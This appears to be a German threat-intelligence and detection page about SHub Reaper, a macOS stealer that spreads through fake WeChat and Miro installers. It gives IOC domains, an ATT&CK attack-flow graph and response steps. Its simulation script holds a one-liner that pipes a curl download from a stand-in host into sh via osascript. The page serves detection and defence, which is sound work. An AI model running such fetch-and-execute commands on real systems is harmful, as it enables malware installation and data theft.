SOC Prime Bias: Mittel

20 May 2026 22:15 UTC

SHub Reaper | macOS Stealer täuscht Apple, Google und Microsoft in einer einzigen Angriffskette

Author Photo
SOC Prime Team linkedin icon Folgen
SHub Reaper | macOS Stealer täuscht Apple, Google und Microsoft in einer einzigen Angriffskette
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Der Bericht analysiert eine neue macOS-Infostealer-Variante namens SHub Reaper, die gefälschte WeChat- und Miro-Installer verwendet, um eine bösartige AppleScript-Nutzlast über eine typovergleichene, Microsoft-ähnliche Domain bereitzustellen. Nach dem Start im Skripteditor sammelt die Nutzlast Browserdaten, Kryptowährungs-Wallet-Dateien und Schlüsselbundinformationen und exfiltriert dann die gestohlenen Inhalte als geteilte ZIP-Archive. Die Malware manipuliert auch Wallet-Dateien und etabliert Persistenz über einen LaunchAgent, der als Google-Software-Update getarnt ist. Empfohlene Erkennung konzentriert sich auf AppleScript-Ausführung, verdächtige LaunchAgent-Erstellung und ausgehenden Datenverkehr zur bekannten Command-and-Control-Infrastruktur.

Untersuchung

SentinelOne verfolgte die komplette mehrstufige Lieferkette einschließlich Missbrauch des applescript:// -Schemas, dynamische Generierung der AppleScript-Nutzlast und eines Dateierfassungsmoduls, das das Dokumentendiebstahlverhalten, das in AMOS zu sehen ist, spiegelt. Forscher fingen den Netzwerkverkehr zur Command-and-Control-Domain hebsbsbzjsjshduxbs.xyz und zugehörigen Endpunkten ab, zusammen mit der Erstellung temporärer Dateien unter /tmp und eines LaunchAgents, der im Benutzerverzeichnis der Bibliothek platziert wurde. Die Untersuchung entdeckte zudem fest codierte Telegram-Bot-Funktionalität, die für die Betreiber-Telemetrie verwendet wird.

Minderung

Verteidiger sollten den Zugriff auf die typoverschwundenen Domains blockieren mlcrosoft.co.com, qq-0732gwh22.com, und mlroweb.com, und die Erstellung von LaunchAgents überwachen, die Pfade imitieren, die Google-Update-Komponenten nachahmen. Anwendungserlaubnislisten sollten verwendet werden, um die AppleScript-Ausführung aus nicht vertrauenswürdigen Quellen zu beschränken, und strenge Codesignaturverifikation sollte erzwungen werden. Netzwerkerkennungen sollten auch auf Kommunikation mit der identifizierten Command-and-Control-Domain und deren bekannten API-Pfaden aufmerksam machen.

Reaktion

Sollte SHub Reaper Aktivität entdeckt werden, isolieren Sie den betroffenen Endpunkt umgehend, beenden Sie alle verdächtigen AppleScript- oder LaunchAgent-Prozesse und entfernen Sie die bösartigen Dateien aus /tmp und der Benutzerbibliothek. Ermittler sollten dann eine vollständige forensische Sammlung von Browserdatenspeichern, Wallet-Verzeichnissen und Anmeldeinformationen durchführen, gefolgt von Anmeldeinformations-Rücksetzungen, wo ein Kompromiss vermutet wird. Die identifizierte Command-and-Control-Infrastruktur sollte blockiert werden, und das Incident-Response-Team sollte mit einer umfassenderen Bedrohungsjagd in der gesamten Umgebung beginnen.

graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Knoten – Angriffsschritte step_initial_access[„<b>Technik</b> – <b>T1659 Content Injection</b>: Kompromittierte Köder-Websites (gefälschtes WeChat oder Miro) hosten bösartige applescript://-URLs, die die Payload bereitstellen“] class step_initial_access action step_execution[„<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b>: In Script Editor geöffnetes AppleScript führt einen versteckten base64-kodierten curl-Aufruf aus, der den Stager dekodiert und startet“] class step_execution action step_code_retrieval[„<b>Technik</b> – <b>T1505 Server-Softwarekomponente</b>: AppleScript lädt das zentrale bösartige AppleScript von einem Remote-Server herunter“] class step_code_retrieval action step_credential_capture[„<b>Technik</b> – <b>T1056 Eingabeerfassung</b>: AppleScript fordert den Benutzer zur Passworteingabe auf und sammelt Keychain-Daten“] class step_credential_capture action step_data_collection[„<b>Technik</b> – <b>T1074.001 Lokales Daten-Staging</b>: Filegrabber durchsucht Desktop und Documents nach Zielerweiterungen und staged sie in /tmp/shub_<rand>“] class step_data_collection action step_archive[„<b>Technik</b> – <b>T1560.001 Archivierung über Dienstprogramm</b>: Gesammelte Dateien werden gezippt und in 70-MB-Blöcke aufgeteilt“] class step_archive action step_exfiltration[„<b>Technik</b> – <b>T1011 Exfiltration über anderes Netzwerkmedium</b>: Die Blöcke werden per HTTPS an den Command-and-Control-Server hochgeladen“] class step_exfiltration action step_wallet_hijack[„<b>Techniken</b> – <b>T1553.002 Code-Signierung</b> und <b>T1036.001 Tarnung</b>: Bösartige app.asar-Dateien ersetzen legitime Wallet-Binärdateien und verwenden Ad-hoc- oder ungültige Signaturen, um Gatekeeper zu umgehen“] class step_wallet_hijack action step_persistence[„<b>Techniken</b> – <b>T1037.002 Login Hook</b>, <b>T1176 Software-Erweiterungen</b> und <b>T1574.007 Path Interception</b>: Gefälschtes Google-Software-Update-Verzeichnis mit einer LaunchAgent-plist (com.google.keystone.agent.plist), die im PATH platziert wird, um persistente Ausführung zu erreichen“] class step_persistence action step_backdoor[„<b>Technik</b> – <b>T1219 Remote-Access-Tools</b>: LaunchAgent führt das GoogleUpdate-Skript alle 60 Sekunden aus, sendet Beacons an /api/bot/heartbeat und kann zusätzliche Befehle ausführen“] class step_backdoor malware %% Knoten – Werkzeuge / Komponenten tool_applescript[„<b>Werkzeug</b> – <b>Name</b>: AppleScript<br/><b>Beschreibung</b>: Über Script Editor ausgeführtes Skript zum Dekodieren und Starten der Payload“] class tool_applescript tool tool_curl[„<b>Werkzeug</b> – <b>Name</b>: curl<br/><b>Beschreibung</b>: Wird verwendet, um zusätzliche AppleScript- und Datendateien über HTTPS herunterzuladen“] class tool_curl tool tool_launchagent[„<b>Werkzeug</b> – <b>Name</b>: LaunchAgent<br/><b>Beschreibung</b>: Benutzerbasierter Persistenzmechanismus von macOS, definiert durch eine plist-Datei“] class tool_launchagent tool malware_stager[„<b>Malware</b> – <b>Name</b>: Stager<br/><b>Beschreibung</b>: Kleiner Loader, der die Haupt-AppleScript-Payload nachlädt“] class malware_stager malware %% Kanten – Ablauf step_initial_access –>|führt zu| step_execution step_execution –>|verwendet| tool_applescript step_execution –>|führt aus| malware_stager malware_stager –>|lädt herunter über| tool_curl malware_stager –>|löst aus| step_code_retrieval step_code_retrieval –>|verwendet| tool_curl step_code_retrieval –>|ermöglicht| step_credential_capture step_credential_capture –>|erfasst| step_data_collection step_data_collection –>|stellt Dateien bereit für| step_archive step_archive –>|erstellt Blöcke für| step_exfiltration step_exfiltration –>|liefert an| step_wallet_hijack step_wallet_hijack –>|modifiziert| step_persistence step_persistence –>|installiert| tool_launchagent tool_launchagent –>|stellt bereit| step_backdoor step_backdoor –>|fungiert als| malware_stager %% Klassenzuweisungen class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware

Angriffsfluss

Simulationsausführung

Voraussetzung: Die Telemetrie & Baseline-Vorflugprüfung muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und dazu dienen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

  • Angreifernarrativ & Befehle:
    Der Angreifer erstellt einen prägnanten Einzeiler, der osascript nutzt, um einen Shell-Befehl auszuführen. Innerhalb des AppleScripts, do shell script führt curl aus, um ein Remote-Shell-Skript (payload.sh) herunterzuladen und direkt in sh zur Ausführung zu leiten. Da die gesamte Kette in einem einzigen AppleScript-Aufruf eingebettet ist, protokolliert macOS ein einzelnes Prozesserstellung Ereignis, dessen Befehlszeile sowohl enthält osascript and curl, was die Erkennungsregel erfüllt.

  • Regressionstestskript:

    #!/bin/bash
    #
    # Simuliert die Ausführung von SHub Reaper auf macOS
    # Generiert ein einzelnes Prozesserstellungs-Ereignis, das sowohl 'osascript' als auch 'curl' enthält
    #
    MALICIOUS_URL="https://malicious.example.com/payload.sh"
    
    # Einzeiler: osascript führt einen Shell-Befehl aus, der die Nutzlast holt und ausführt
    osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh""
  • Bereinigungskommandos:

    #!/bin/bash
    #
    # Bereinigen Sie alle von der Simulation erstellten Artefakte.
    # Die Nutzlast läuft im Speicher und schreibt keine Dateien, aber wir stellen sicher, dass keine verbleibenden Prozesse bleiben.
    #
    # Töten Sie alle Streu-'sh'-Prozesse, die durch den Test gestartet wurden (mit Vorsicht auf Produktionssystemen verwenden)
    pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"